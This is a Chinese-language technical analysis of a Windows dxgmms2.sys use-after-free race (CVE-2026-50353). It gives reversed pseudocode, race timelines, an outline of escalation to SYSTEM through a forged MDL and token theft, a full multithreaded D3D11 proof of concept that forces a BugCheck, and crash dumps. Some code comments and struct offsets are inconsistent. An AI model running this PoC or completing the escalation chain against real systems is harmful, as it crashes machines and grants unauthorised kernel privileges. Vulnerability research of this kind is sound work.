目录


1. 漏洞概述

CVE-2026-50353 是一个存在于 Windows DirectX 图形子系统内核驱动 dxgmms2.sys 中的 Use-After-Free 漏洞。该漏洞位于视频内存管理器(VidMm,Video Memory Manager)的 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange 函数中。该函数在遍历视频内存延迟解锁队列(debounce 队列)时,未对 MDL(Memory Descriptor List)对象进行任何有效性检查或加锁同步,导致在多线程竞态条件下,内核工作线程可能访问已被释放或被重用的 MDL 所指向的物理页。

攻击者通过构造精密的多线程竞态条件——在用户态线程释放 D3D11 纹理后让出 CPU,诱使内核 VidMm 工作线程处理 debounce 队列执行 MmUnlockPages,同时另一条用户态线程在此窗口内通过 CreateTexture2D 重新分配物理页——即可触发 UAF,将内存损坏转化为内核任意读写,最终实现本地提权。

漏洞核心属性表:

属性 值
CVE 编号 CVE-2026-50353
CVSS v4.0 AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N — 高危
漏洞类型 Use-After-Free + 竞态条件
影响组件 dxgmms2.sys — VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange
崩溃类型 0x1A_61948 (MEMORY_MANAGEMENT) 或 0xEF (CRITICAL_PROCESS_DIED)
攻击向量 本地提权(LPE),需已认证的低权限用户
修复补丁 KB5101650 (July 2026)
利用前提 目标系统具备 DirectX 11+ 图形能力(几乎所有现代 Windows)

1.1 受影响版本矩阵

操作系统版本 受影响构建范围 修复构建
Windows 11 24H2 < 10.0.26100.8875 10.0.26100.8875
Windows 11 25H2 < 10.0.26200.8875 10.0.26200.8875
Windows 11 26H1 < 10.0.28000.2525 10.0.28000.2525
Windows Server 2025 < 10.0.26100.33158 10.0.26100.33158

值得强调的是,该漏洞影响范围极为广泛——从桌面版 Windows 11 到服务器版 Windows Server 2025,因为 dxgmms2.sys 是所有支持 DirectX 的 Windows 系统的核心图形内核组件。即使在无独立 GPU 的虚拟机环境中,只要启用了 WDDM(Windows Display Driver Model)的虚拟化 GPU(如 Hyper-V 的 vGPU),该驱动同样会被加载。


2. DirectX 图形子系统架构

2.1 整体调用链

Windows 的 DirectX 图形子系统采用经典的"用户态 API → 内核态调度 → GPU 驱动"三层架构。理解这一架构是分析本漏洞的前提,因为漏洞的触发需要精确控制用户态 D3D11 API 调用与内核态 VidMm 工作线程之间的时序。

┌─────────────────────────────────────────────────────────────────────────┐
│                        用户态 (User Mode)                                │
│                                                                         │
│  应用程序 (Game / D3D11 App)                                            │
│       │                                                                 │
│       ▼                                                                 │
│  ┌──────────────────────────────────────────────┐                      │
│  │  d3d11.dll / dxgi.dll  (DirectX Graphics API)│                      │
│  │  - ID3D11Device::CreateTexture2D()           │                      │
│  │  - ID3D11DeviceContext::Map/Unmap()          │                      │
│  │  - IDXGISurface::Release()                   │                      │
│  └──────────────────┬───────────────────────────┘                      │
│                     │ Win32k 系统调用 / NtGdi 系统调用                   │
└─────────────────────┼───────────────────────────────────────────────────┘
                      │
┌─────────────────────┼───────────────────────────────────────────────────┐
│              内核态 (Kernel Mode)  系统空间                               │
│                     ▼                                                   │
│  ┌──────────────────────────────────────────────┐                      │
│  │          dxgkrnl.sys (DirectX Graphics Kernel)│                     │
│  │  - DxgkIoCall / DdiCreateAllocation           │                     │
│  │  - 图形调度 (GPU Scheduler)                   │                     │
│  └──────────────────┬───────────────────────────┘                      │
│                     │                                                   │
│         ┌───────────┴────────────┐                                     │
│         ▼                        ▼                                     │
│  ┌──────────────┐    ┌──────────────────────────┐                      │
│  │ dxgmms2.sys  │    │  GPU 驱动 (KMD)           │                     │
│  │ (VidMm/VidSch)│   │  igdkmd64.sys (Intel)    │                     │
│  │              │    │  nvlddmkm.sys (NVIDIA)   │                      │
│  │ VidMm:       │    │  amdkmdag.sys (AMD)      │                      │
│  │  视频内存管理 │    │                          │                      │
│  │ VidSch:      │    │  DDI 接口 (DxgkDdi*)      │                     │
│  │  GPU命令调度 │    │                          │                      │
│  └──────┬───────┘    └────────────┬─────────────┘                     │
│         │                         │                                    │
│         ▼                         ▼                                    │
│  ┌──────────────────────────────────────────────┐                      │
│  │        GPU 硬件 (VRAM / GPU Cores)            │                     │
│  └──────────────────────────────────────────────┘                      │
└─────────────────────────────────────────────────────────────────────────┘

2.2 dxgmms2.sys 的职责

dxgmms2.sys 是 DirectX 图形内核的辅助模块,承担两大核心职责:

  1. VidMm(Video Memory Manager,视频内存管理器):负责管理 GPU 视频内存(VRAM)的分配、回收和映射。它将 GPU VRAM 抽象为可分配的 allocation 对象,并维护物理页到 GPU 虚拟地址的映射。本漏洞正是发生在 VidMm 的回收堆(Recycle Heap)子系统中。

  2. VidSch(Video Scheduler,视频调度器):负责 GPU 命令缓冲区的调度和同步,确保多个进程公平且正确地共享 GPU 执行资源。

VidMm 内部维护了一个内核工作线程 VidMmWorkerThread,专门处理视频内存的异步回收和延迟解锁操作。这个工作线程是本漏洞竞态条件的关键参与者——它运行在内核态,不受用户态线程的调度控制,但其执行的解锁操作却依赖用户态线程释放的资源。


3. MDL 机制详解

3.1 MDL 在 Windows 内核 I/O 中的角色

MDL(Memory Descriptor List,内存描述符列表)是 Windows 内核中描述一段虚拟内存区域及其映射的物理页的核心数据结构。在 DirectX 子系统中,当 D3D11 纹理需要被 CPU 访问时(通过 Map/Unmap 操作),VidMm 会创建 MDL 来描述映射到 GPU VRAM 的物理页,以便内核能够正确地进行页表操作和引用计数管理。

MDL 结构与物理页映射关系:

  虚拟地址空间                    MDL 结构体                    物理内存
  ┌──────────┐                ┌─────────────────────┐         ┌──────────┐
  │ VA_0     │ ───映射────── │ MDL Header          │         │ PFN 0x1A │
  │ VA_1     │ ───映射────── │  +0x00 Next         │─→NULL   │ PFN 0x2B │
  │ VA_2     │ ───映射────── │  +0x08 Size         │         │ PFN 0x3C │
  │ VA_3     │ ───映射────── │  +0x0A Flags        │         │ PFN 0x4D │
  │ ...      │               │  +0x10 Process      │         │ ...      │
  └──────────┘               │  +0x18 MappedSystemVa│        └──────────┘
                             │  +0x20 PFN Array[]  │
                             │    [0] = 0x1A  ──────────────→ PFN 0x1A
                             │    [1] = 0x2B  ──────────────→ PFN 0x2B
                             │    [2] = 0x3C  ──────────────→ PFN 0x3C
                             │    [3] = 0x4D  ──────────────→ PFN 0x4D
                             └─────────────────────┘

  关键操作:
  MmProbeAndLockPages()  → 锁定物理页,递增引用计数
  MmMapLockedPages()     → 将锁定页映射到系统虚拟地址空间
  MmUnlockPages()        → 解锁物理页,递减引用计数  ← 漏洞触发点
  IoFreeMdl()            → 释放 MDL 结构体本身

3.2 MmUnlockPages 的工作原理

MmUnlockPages 是一个关键的内核 API,其核心职责是遍历 MDL 中的 PFN(Page Frame Number)数组,对每个物理页递减引用计数(PFN 引用计数由 MMPFN 结构体维护)。当一个物理页的引用计数降为零时,该页将被归还到空闲页池,可被后续的内存分配重用。

// MmUnlockPages 内部逻辑简化 (基于逆向分析)
VOID MmUnlockPages(PMDL Mdl) {
    PPFN_NUMBER PfnArray = MmGetMdlPfnArray(Mdl);
    ULONG PageCount = ADDRESS_AND_SIZE_TO_SPAN_PAGES(
                          MmGetMdlByteOffset(Mdl),
                          MmGetMdlByteCount(Mdl));

    for (ULONG i = 0; i < PageCount; i++) {
        PFN_NUMBER Pfn = PfnArray[i];
        PMMPFN PfnEntry = MI_PFN_ELEMENT(Pfn);

        // 递减物理页引用计数
        LONG NewRefCount = InterlockedDecrement(&PfnEntry->u3.e1.ReferenceCount);

        if (NewRefCount == 0) {
            // 引用计数归零 → 将物理页归还到空闲池
            MiDereferenceIoPages(Pfn, ...);
            // 该物理页现在可被重新分配 ← UAF利用的关键!
        }
    }

    // 清除 MDL 的锁定标志
    Mdl->MdlFlags &= ~MDL_PAGES_LOCKED;
}

漏洞关键点:当 MmUnlockPages 被调用时,如果 MDL 中的 PFN 数组指向的物理页已经被释放并重用(由于竞态条件),MiDereferenceIoPages 将访问一个已经属于其他对象的物理页,导致:

  • 如果该页已被归还到空闲池:访问无效的 PFN 条目 → 触发 0x1A (MEMORY_MANAGEMENT) BugCheck
  • 如果该页已被重用为其他内核对象:递减错误对象的引用计数 → 导致全局资源句柄表损坏 → 触发 0xEF (CRITICAL_PROCESS_DIED) BugCheck

3.3 IoFreeMdl 的职责

IoFreeMdl 负责释放 MDL 结构体本身占用的内存(通常来自内核池)。在 UnlockRange 函数中,IoFreeMdl 紧跟在 MmUnlockPages 之后调用。然而,漏洞的根因在于 MmUnlockPages 执行时 MDL 指向的物理页可能已经失效,而非 MDL 结构体本身被释放。


4. 视频内存回收堆与 Debounce 队列

4.1 回收堆(Recycle Heap)机制

VidMm 的回收堆是一种物理页复用机制,类似于用户态堆的 free-list。当 D3D11 纹理被释放时,其占用的 VRAM 物理页不会立即归还给 GPU 驱动,而是被放入回收堆的空闲链表,以便后续的纹理分配可以快速重用这些页,减少与 GPU 驱动通信的开销。

VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW 结构 (简化):

┌─────────────────────────────────────────────────────────────┐
│  VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW                          │
│  +0x000  HeapView 的 self 引用                              │
│  +0x008  LockedRanges Head ──→ 指向 MDL Range 链表头        │
│  +0x010  DebounceQueue Head ──→ 指向延迟解锁队列            │
│  +0x018  SpinLock            ──→ (存在但 UnlockRange未使用!) │
│  +0x020  TotalSize           ──→ 堆总大小                   │
│  ...                                                       │
│                                                            │
│  LockedRanges 链表:                                        │
│  Head ──→ [Range_A] ──→ [Range_B] ──→ [Range_C] ──→ NULL   │
│             │              │              │                 │
│             ▼              ▼              ▼                 │
│           MDL_A          MDL_B          MDL_C              │
│           PFN[...]       PFN[...]       PFN[...]           │
└─────────────────────────────────────────────────────────────┘

4.2 Debounce(延迟解锁)队列

Debounce 队列是 VidMm 的性能优化机制。当 D3D11 纹理的 Unmap 或释放操作发生时,对应的 MDL 不会被立即解锁,而是被加入 debounce 队列。VidMmWorkerThread 会在后续的某个时间点(通常在 GPU 命令完成确认后)批量处理这些延迟的解锁请求。

这种延迟设计是为了确保 GPU 端已经完成了对相关物理页的所有 DMA 操作后再解锁页,避免 GPU 正在写入的页被 CPU 端重用。然而,这种异步处理引入了一个时间窗口——用户态线程在此窗口内可以触发新的纹理分配,重用 debounce 队列中尚未解锁的物理页。

4.3 VIDMM_MDL_RANGE 数据结构

每个被加入 LockedRanges 链表或 debounce 队列的 MDL 由 VIDMM_MDL_RANGE 结构体封装:

VIDMM_MDL_RANGE (0x30 = 48 bytes):
  +0x00  PVOID Mdl;           // MDL指针 — MmUnlockPages的操作目标
  +0x08  UINT64 Offset;       // 在底层allocation中的字节偏移
  +0x10  UINT64 Size;         // 该range覆盖的字节数
  +0x18  UINT64 Next;         // 链表后继指针
  +0x20  UINT64 Prev;         // 链表前驱指针
  +0x28  PVOID HeapView;      // 所属的VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW对象

Mdl 字段是整个漏洞的核心——UnlockRange 函数通过这个字段获取 MDL 指针并传递给 MmUnlockPages,但从不验证该 MDL 是否仍然有效,也不验证 MDL 中的 PFN 数组是否指向仍然锁定的物理页。


5. 漏洞根因深度分析

5.1 UnlockRange 函数逆向分析

以下是基于 IDA Pro 逆向得到的 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange 函数的伪代码,注释标注了漏洞触发路径:

__int64 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange(
    VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW **this,  // this指针的指针
    unsigned __int64 offset,                   // 要解锁的起始偏移
    unsigned __int64 size)                     // 要解锁的字节数
{
    // ─── 阶段1: 在链表中查找匹配 offset/size 的起始和结束节点 ───
    // find_start 和 find_end 遍历 LockedRanges 链表
    // 寻找与 [offset, offset+size) 区间重叠的 Range 节点
    VIDMM_MDL_RANGE *v5 = find_start(this, offset, size);
    VIDMM_MDL_RANGE *v9 = find_end(this, offset, size);

    if (!v5)
        return 0i64;

    // ─── 阶段2: 进入销毁循环 ───
    // 注意: 从此处开始, 没有任何锁(SpinLock/Mutex)保护链表遍历!
    // 注意: 没有对 v5->Mdl 的有效性检查!
    char v12 = 0;
    do {
        // ★★★ 漏洞触发点 ★★★
        // v5->Mdl 可能在循环迭代期间被另一个线程释放或重用
        // 因为整个循环没有持有任何同步对象
        MmUnlockPages(v5->Mdl);      // ← 0x1a_61948 crash point
                                     //   如果 MDL 的 PFN 指向已释放的页:
                                     //   → MiDereferenceIoPages 访问无效页
                                     //   → 0x1A BugCheck

        IoFreeMdl(v5->Mdl);          // 释放 MDL 结构体
        *(v5->Mdl) = NULL;           // 置空(但为时已晚)

        VIDMM_MDL_RANGE::RemoveFromLockedRanges(v5);  // 从链表移除

        v5 = v5->Next;               // 移动到下一个 Range
                                     // ← Next 指针也可能已被篡改!

    } while (v5 != v9 && !v12);      // 直到到达结束节点

    return 1i64;
}

5.2 无锁链表遍历的根本缺陷

该函数存在两个致命的同步缺陷:

缺陷一:链表遍历无锁保护。 UnlockRange 在遍历 LockedRanges 链表时,没有获取任何自旋锁或互斥体。虽然 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW 结构体中确实存在一个 SpinLock 字段(偏移 +0x018),但 UnlockRange 函数完全没有使用它。这意味着在遍历过程中,另一个线程可以并发地修改链表结构(插入或删除节点),导致 v5->Next 指针指向已被释放的内存。

缺陷二:MDL 指针无有效性验证。 在每次循环迭代中,v5->Mdl 被直接传递给 MmUnlockPages,没有任何检查来验证该 MDL 是否仍然有效(即其 PFN 数组是否仍然指向已锁定的物理页)。在 debounce 队列的异步处理模型下,从 MDL 被加入队列到 UnlockRange 实际处理它之间,存在一个时间窗口,在此窗口内用户态线程可以通过新的纹理分配导致物理页被重用。

5.3 竞态条件的本质

这个漏洞的竞态条件本质上是 TOCTOU(Time-of-Check-to-Time-of-Use) 的一种变体,但更准确地说是 TOCTOU 的逆序——即 Time-of-Use 发生在资源已经不再有效的时刻:

时间轴                    用户态线程 A              内核 VidMmWorkerThread
─────────────────────────────────────────────────────────────────────
T0   CreateTexture2D(tex1)  ─→  分配物理页 P
                               创建 MDL_M, PFN=[P]
                               MDL_M 加入 LockedRanges
                                   
T1   Unmap/Release(tex1)    ─→  MDL_M 移入 debounce 队列
                               物理页 P 尚未解锁(引用计数>0)
                               [让出CPU: SwitchToThread()]

T2                                                    从 debounce 队列取出 MDL_M
                                                      调用 UnlockRange()
                                                      find_start → v5 = MDL_M
                                                      准备 MmUnlockPages(v5->Mdl)

T3   CreateTexture2D(tex2)  ─→  回收堆分配 → 重用物理页 P
                               P 现在属于 tex2 的 allocation
                               P 的引用计数被重置

T4                                                    MmUnlockPages(v5->Mdl)
                                                      → MiDereferenceIoPages(P)
                                                      → P 已属于 tex2!
                                                      → 递减错误对象的引用计数
                                                      ★ 0x1A 或 0xEF 崩溃 ★

6. 竞态窗口时间轴

以下是放大后的竞态窗口详细时间轴,展示每个关键操作的微秒级时序:

│ CPU核心0 (用户态线程A)        │ CPU核心1 (VidMmWorkerThread)  │ 物理页P状态
├──────────────────────────────┼──────────────────────────────┼──────────────────
│                              │                              │
│ T0: ID3D11Texture2D::Release │                              │ 引用计数=2
│     → DxgkDestroyAllocation  │                              │ (tex1 + MDL)
│     → MDL移入debounce队列     │                              │
│                              │                              │
│ T1: SwitchToThread()         │                              │
│     ↓ 让出CPU时间片           │                              │
│     ↓ (~10-50μs 空窗)        │                              │
│                              │ T2: 处理debounce队列          │
│                              │     取出MDL_M                 │ 引用计数=2
│                              │     调用 UnlockRange()        │
│                              │     find_start() → v5=MDL_M  │
│                              │     ── 准备进入循环 ──        │
│                              │                              │
│ T3: CreateTexture2D(tex2)    │                              │
│     → DxgkCreateAllocation   │                              │
│     → 回收堆查找空闲页         │                              │
│     → 命中物理页P!            │                              │
│     → P分配给tex2             │                              │ 引用计数重置!
│     → P的PFN条目更新          │                              │
│                              │                              │
│                              │ T4: MmUnlockPages(v5->Mdl)   │
│                              │     → 遍历PFN数组             │
│                              │     → PfnArray[0] = P        │ P 已不属于MDL_M!
│                              │     → MiDereferenceIoPages(P)│
│                              │     → 递减错误对象引用计数     │
│                              │     ★ BUGCHECK 0x1A_61948 ★  │ ← 崩溃点
│                              │     或句柄表损坏 → 0xEF       │

竞态窗口宽度分析:T1 到 T3 之间的窗口宽度约为 10-50 微秒(取决于 CPU 调度和系统负载)。攻击者需要在此窗口内完成 CreateTexture2D 调用,使物理页 P 被重用。由于 D3D11 的纹理创建走回收堆的 fast path,实际耗时极短(通常 <5μs),因此窗口是可利用的。


7. 利用思路分析

7.1 从 UAF 到内核任意读写

该 UAF 的利用目标是让 MmUnlockPages 操作的物理页被攻击者控制的对象占用,从而将"递减引用计数"操作转化为可控的内核内存修改。完整提权路径如下:

┌─────────────────────────────────────────────────────────────────────┐
│                    提权路径: UAF → SYSTEM                            │
│                                                                     │
│  Step 1: 触发 UAF                                                   │
│  ┌─────────────────────────────────────┐                            │
│  │ 多线程竞态: 释放纹理 + 重分配物理页  │                            │
│  │ → MmUnlockPages 操作已重用的物理页   │                            │
│  └──────────────────┬──────────────────┘                            │
│                     ▼                                               │
│  Step 2: 物理页重用 (Heap Spray)                                    │
│  ┌─────────────────────────────────────┐                            │
│  │ 喷射受控对象到被UAF的物理页           │                            │
│  │ 候选: SPRAY对象 / Named Pipe属性     │                            │
│  │ → UAF的引用计数递减操作命中受控对象   │                            │
│  └──────────────────┬──────────────────┘                            │
│                     ▼                                               │
│  Step 3: 引用计数操控 → 任意释放                                    │
│  ┌─────────────────────────────────────┐                            │
│  │ 递减受控对象的引用计数到0             │                            │
│  │ → 对象被错误释放, 但我们仍持有指针     │                            │
│  │ → 经典 UAF: 悬垂指针 + 已释放对象     │                            │
│  └──────────────────┬──────────────────┘                            │
│                     ▼                                               │
│  Step 4: 二次重用 → 任意读写                                        │
│  ┌─────────────────────────────────────┐                            │
│  │ 在已释放对象位置喷射可变大小对象      │                            │
│  │ → 通过悬垂指针读写受控数据            │                            │
│  │ → 构造伪造的 MDL/Process对象         │                            │
│  └──────────────────┬──────────────────┘                            │
│                     ▼                                               │
│  Step 5: 令牌篡改 → SYSTEM                                          │
│  ┌─────────────────────────────────────┐                            │
│  │ 读取 System Process的EPROCESS        │                            │
│  │ 复制 Token 指针到当前进程             │                            │
│  │ → 当前进程获得 SYSTEM 令牌           │                            │
│  └─────────────────────────────────────┘                            │
└─────────────────────────────────────────────────────────────────────┘

7.2 物理页重用攻击(Heap Spray)

物理页重用是本漏洞利用的核心技术。当 MmUnlockPages 即将递减物理页 P 的引用计数时,攻击者需要确保 P 已经被一个攻击者可控的内核对象占用。

页喷射策略:

  1. 释放阶段:创建大量相同大小的 D3D11 纹理(每个纹理占用整数个物理页),使回收堆填充大量相同大小的空闲页。
  2. 触发阶段:释放目标纹理,其物理页 P 进入回收堆的 free-list。
  3. 重分配阶段:在竞态窗口内,通过另一个 D3D11 设备创建相同大小的纹理,VidMm 的回收堆 fast-path 会从 free-list 头部取出物理页 P 分配给新纹理。
  4. MDL 伪造阶段:在新纹理的 MDL 的 PFN 数组中填入攻击者精心构造的 PFN 值,指向目标内核对象(如 EPROCESS.Token)所在的物理页。

7.3 MDL 结构体伪造

当攻击者控制了被 UAF 的物理页后,可以在该页上构造一个伪造的 MDL 结构体。当 MmUnlockPages 遍历这个伪造 MDL 的 PFN 数组时,攻击者可以指定任意 PFN,使 MiDereferenceIoPages 对任意物理页的引用计数进行操作:

// 伪造 MDL 结构 (放置在被UAF重用的物理页上)
typedef struct _FAKE_MDL {
    struct _MDL *Next;          // +0x00: NULL
    INT16        Size;          // +0x08: sizeof(MDL_HEADER) + PFN_COUNT * 8
    INT16        Flags;         // +0x0A: MDL_PAGES_LOCKED | MDL_IO_SPACE
    union {
        LONG_PTR   LockedProcessPage;  // +0x0C
        PVOID      SystemVa;           // +0x10
    };
    PPROCESS     Process;       // +0x18: 当前进程EPROCESS
    PVOID        MappedSystemVa;// +0x20: 任意系统虚拟地址
    // PFN 数组紧随其后
    PFN_NUMBER   PfnArray[1];   // +0x28: 目标物理页PFN ← 攻击者控制
} FAKE_MDL;

通过伪造 MDL 的 PFN 数组,攻击者可以实现:

  • 任意物理页引用计数递减:将目标对象所在物理页的引用计数降到 0,使其被释放,制造二次 UAF
  • 结合 MmMapLockedPages:将任意物理页映射到攻击者可写的虚拟地址空间,实现任意物理内存读写

8. PoC 代码框架

以下 PoC 代码展示了如何使用 D3D11 API 构造竞态条件来触发该漏洞。此代码仅为概念验证框架,展示了多线程竞态的核心逻辑。

// CVE-2026-50353 PoC 概念验证框架
// 编译: cl /EHsc poc.cpp /link d3d11.lib dxgi.lib
// 注意: 仅用于授权安全研究环境

#include <d3d11.h>
#include <dxgi.h>
#include <windows.h>
#include <stdio.h>
#include <thread>
#include <vector>

#pragma comment(lib, "d3d11.lib")
#pragma comment(lib, "dxgi.lib")

// ============================================================
// 全局状态
// ============================================================
static ID3D11Device*           g_pDevice    = nullptr;
static ID3D11DeviceContext*    g_pContext   = nullptr;
static volatile LONG           g_bRunning   = 1;
static volatile LONG           g_triggerCount = 0;

// 纹理尺寸: 选择能恰好占用整数物理页的大小
// 4096x4096 R8G8B8A8 = 64MB = 16384个4KB页
static const UINT TEXTURE_WIDTH  = 256;
static const UINT TEXTURE_HEIGHT = 256;
static const DXGI_FORMAT TEXTURE_FORMAT = DXGI_FORMAT_R8G8B8A8_UNORM;

// ============================================================
// 初始化 D3D11 设备
// ============================================================
bool InitD3D11() {
    D3D_FEATURE_LEVEL featureLevel;
    D3D_FEATURE_LEVEL featureLevels[] = {
        D3D_FEATURE_LEVEL_11_1,
        D3D_FEATURE_LEVEL_11_0,
        D3D_FEATURE_LEVEL_10_1,
        D3D_FEATURE_LEVEL_10_0,
    };

    HRESULT hr = D3D11CreateDevice(
        nullptr,                            // 默认适配器
        D3D_DRIVER_TYPE_HARDWARE,           // 硬件驱动(触发dxgmms2.sys)
        nullptr,
        0,                                  // 不使用调试标志
        featureLevels,
        ARRAYSIZE(featureLevels),
        D3D11_SDK_VERSION,
        &g_pDevice,
        &featureLevel,
        &g_pContext
    );

    if (FAILED(hr)) {
        printf("[-] D3D11CreateDevice 失败: 0x%08X\n", hr);
        return false;
    }
    printf("[+] D3D11 设备初始化成功, Feature Level: 0x%X\n", featureLevel);
    return true;
}

// ============================================================
// 创建可CPU访问的D3D11纹理
// ============================================================
ID3D11Texture2D* CreateStagingTexture() {
    D3D11_TEXTURE2D_DESC desc = {};
    desc.Width              = TEXTURE_WIDTH;
    desc.Height             = TEXTURE_HEIGHT;
    desc.MipLevels          = 1;
    desc.ArraySize          = 1;
    desc.Format             = TEXTURE_FORMAT;
    desc.SampleDesc.Count   = 1;
    desc.Usage              = D3D11_USAGE_STAGING;  // CPU可读写
    desc.CPUAccessFlags     = D3D11_CPU_ACCESS_READ | D3D11_CPU_ACCESS_WRITE;
    desc.BindFlags          = 0;
    desc.MiscFlags          = 0;

    ID3D11Texture2D* pTexture = nullptr;
    HRESULT hr = g_pDevice->CreateTexture2D(&desc, nullptr, &pTexture);
    if (FAILED(hr)) {
        printf("[-] CreateTexture2D 失败: 0x%08X\n", hr);
        return nullptr;
    }
    return pTexture;
}

// ============================================================
// 线程A: 快速创建-映射-释放纹理循环
// 此线程触发 MDL 加入 debounce 队列
// ============================================================
void ThreadA_ReleaseAndYield() {
    printf("[*] 线程A启动: 纹理释放+让出CPU循环\n");

    while (InterlockedExchangeAdd(&g_bRunning, 0)) {
        // Step 1: 创建纹理 (触发物理页分配 + MDL创建)
        ID3D11Texture2D* pTex = CreateStagingTexture();
        if (!pTex) continue;

        // Step 2: Map纹理 (建立MDL到物理页的映射, MDL加入LockedRanges)
        D3D11_MAPPED_SUBRESOURCE mapped = {};
        HRESULT hr = g_pContext->Map(pTex, 0, D3D11_MAP_READ_WRITE, 0, &mapped);
        if (SUCCEEDED(hr)) {
            // 写入数据确保物理页被实际分配
            if (mapped.pData) {
                memset(mapped.pData, 0x41, mapped.RowPitch * TEXTURE_HEIGHT);
            }
            // Step 3: Unmap (MDL移入debounce队列, 物理页尚未解锁)
            g_pContext->Unmap(pTex, 0);
        }

        // Step 4: 释放纹理 (触发allocation销毁, MDL待debounce处理)
        pTex->Release();

        // ★★★ 关键: 让出CPU, 为VidMmWorkerThread创造执行窗口 ★★★
        // SwitchToThread() 让当前线程放弃剩余时间片
        // 此时VidMmWorkerThread可能在另一个核心上开始处理debounce队列
        SwitchToThread();

        InterlockedIncrement(&g_triggerCount);
    }
    printf("[*] 线程A退出\n");
}

// ============================================================
// 线程B: 在竞态窗口内快速创建新纹理, 重用物理页
// 此线程在debounce队列处理期间抢占物理页
// ============================================================
void ThreadB_ReclaimPhysicalPages() {
    printf("[*] 线程B启动: 物理页重用竞争\n");

    std::vector<ID3D11Texture2D*> textures;
    textures.reserve(256);

    while (InterlockedExchangeAdd(&g_bRunning, 0)) {
        // 清空上一轮纹理
        for (auto* t : textures) {
            if (t) t->Release();
        }
        textures.clear();

        // 快速创建大量相同大小的纹理
        // 回收堆的fast-path会重用刚被释放的物理页
        // 如果时序正确, 这些纹理将占用线程A释放的物理页
        for (int i = 0; i < 64; i++) {
            ID3D11Texture2D* pTex = CreateStagingTexture();
            if (pTex) {
                textures.push_back(pTex);

                // Map操作建立新的MDL, 确保物理页被实际提交
                D3D11_MAPPED_SUBRESOURCE mapped = {};
                if (SUCCEEDED(g_pContext->Map(pTex, 0,
                        D3D11_MAP_WRITE_DISCARD, 0, &mapped))) {
                    if (mapped.pData) {
                        // 写入模式标记, 便于调试时识别重用的页
                        memset(mapped.pData, 0x42, mapped.RowPitch * TEXTURE_HEIGHT);
                    }
                    g_pContext->Unmap(pTex, 0);
                }
            }
        }

        // 极短延迟, 增加命中竞态窗口的概率
        YieldProcessor();
        YieldProcessor();
    }

    for (auto* t : textures) {
        if (t) t->Release();
    }
    printf("[*] 线程B退出\n");
}

// ============================================================
// 线程C: 监控线程, 统计触发次数并控制运行时长
// ============================================================
void ThreadC_Monitor(DWORD durationMs) {
    DWORD startTick = GetTickCount64();
    while (GetTickCount64() - startTick < durationMs) {
        LONG count = InterlockedExchangeAdd(&g_triggerCount, 0);
        printf("[~] 触发次数: %d, 运行时间: %lu ms\n",
               count, GetTickCount64() - startTick);
        Sleep(1000);
    }
    InterlockedExchange(&g_bRunning, 0);
}

// ============================================================
// 主函数
// ============================================================
int main() {
    printf("=== CVE-2026-50353 PoC 概念验证框架 ===\n");
    printf("目标: dxgmms2.sys UnlockRange UAF\n");
    printf("注意: 本PoC仅触发BugCheck用于漏洞确认, 不包含完整利用链\n\n");

    if (!InitD3D11()) {
        printf("[-] 初始化失败, 退出\n");
        return -1;
    }

    // 启动竞态线程
    // 线程数量可根据CPU核心数调整
    // 建议线程A数量 = 物理CPU核心数, 线程B数量 = 1-2
    std::thread tA1(ThreadA_ReleaseAndYield);
    std::thread tA2(ThreadA_ReleaseAndYield);
    std::thread tB(ThreadB_ReclaimPhysicalPages);

    // 监控线程: 运行60秒后自动停止
    std::thread tC(ThreadC_Monitor, 60000);

    tA1.join();
    tA2.join();
    tB.join();
    tC.join();

    // 清理
    if (g_pContext) g_pContext->Release();
    if (g_pDevice)  g_pDevice->Release();

    printf("\n[+] PoC 执行完毕\n");
    printf("[*] 如果系统未崩溃, 可能需要调整:\n");
    printf("    - 增加线程A数量\n");
    printf("    - 调整纹理大小以匹配回收堆粒度\n");
    printf("    - 在高负载系统上运行以扩大竞态窗口\n");

    return 0;
}

PoC 运行说明:该 PoC 的目标是触发 BugCheck(蓝屏)以确认漏洞存在,而非实现完整提权。成功触发时,系统将蓝屏并显示 0x1A_61948 或 0xEF 错误代码。如果系统未崩溃,说明竞态窗口未命中,需要调整线程数量、纹理大小或系统负载来扩大窗口。


9. 崩溃分析

9.1 BugCheck 0x1A 子类型 0x61948 (MEMORY_MANAGEMENT)

当 MmUnlockPages 试图递减一个已归还到空闲池的物理页的引用计数时,MiDereferenceIoPages 会检测到该 PFN 条目的状态异常(空闲页不应有 I/O 引用),触发 0x1A BugCheck。

*******************************************************************************
*                                                                             *
*        BugCheck Analysis                                                    *
*                                                                             *
*******************************************************************************

MEMORY_MANAGEMENT (1a)

# 子类型 0x61948 表示: 在I/O页引用计数操作中检测到无效的PFN

Arguments:
Arg1: 00061948, 子类型码 - I/O page dereference on invalid PFN
Arg2: ffffaa8b`c1000000, 指向问题MDL的PFN数组的虚拟地址
Arg3: 00000000`0000000c, MDL中的PFN索引
Arg4: 00000000`00000000, 期望的MMPFN指针 (NULL表示PFN无效)

Stack Trace:
dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange+0x142
    → 调用 MmUnlockPages, 传入已被重用的MDL
dxgmms2!VidMmWorkerThread+0x8a3
    → 工作线程处理debounce队列
dxgmms2!VidMmWorkerThread+0x1f0
nt!PspSystemThreadStartup+0x47
    → 内核系统线程入口
nt!KiStartSystemThread+0x16

9.2 BugCheck 0xEF (CRITICAL_PROCESS_DIED)

当被 UAF 的物理页已经被重用为另一个内核对象(如进程句柄表条目),MiDereferenceIoPages 递减引用计数会导致该对象的内部状态损坏。如果受影响的是关键系统进程(如 csrss.exe、wininit.exe)的句柄表或资源引用,Windows 的关键进程保护机制会检测到不一致并触发 0xEF BugCheck。

CRITICAL_PROCESS_DIED (ef)

# 一个关键系统进程因内部状态损坏而终止

Arguments:
Arg1: ffffaa8b`80000b80, 终止的EPROCESS指针 (通常是csrss.exe或wininit.exe)
Arg2: 00000000`00000000, 终止码
Arg3: 00000000`00000000, 保留
Arg4: 00000000`00000000, 保留

